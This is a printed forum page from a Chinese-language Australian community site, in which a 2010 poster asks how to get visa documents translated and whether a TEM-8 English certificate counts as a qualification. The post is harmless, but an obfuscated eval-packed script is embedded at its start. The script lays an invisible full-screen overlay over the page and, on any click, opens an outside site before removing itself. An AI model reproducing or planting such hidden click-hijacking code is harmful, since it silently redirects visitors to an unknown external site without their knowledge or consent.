滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛

标题: （求助）签证材料翻译 [打印本页]

作者: amanda5189 时间: 2010-6-2 13:46
标题: （求助）签证材料翻译
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>我将于7月初递交签证申请，但是现在遇到一个特别挠头的问题就是关于材料翻译的。
我咨询了北京的签证中心，他们虽然提供翻译服务，但是本人无法看到翻译件，你提交申请的当天告诉他们有材料需要翻译，他们就帮你翻，然后第二天早上直接就帮你递进去了。本人不能核对翻译件的正误，他们也不接受。说如果怕有错就到别处去翻。
其他的留学签证机构都要求在他们那里办签证的。我觉得为了3件翻译件实在没啥必要。如果不在他们那里办签证的话，他们也不接受单独的翻译任务。
我看到有人发帖子说，可以用朋友的专八资格证书。但是使馆不是要求在使馆认证的翻译机构翻么？专八算是有资质么？
请大虾们解答。

欢迎光临滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛 (https://nearther.cn/)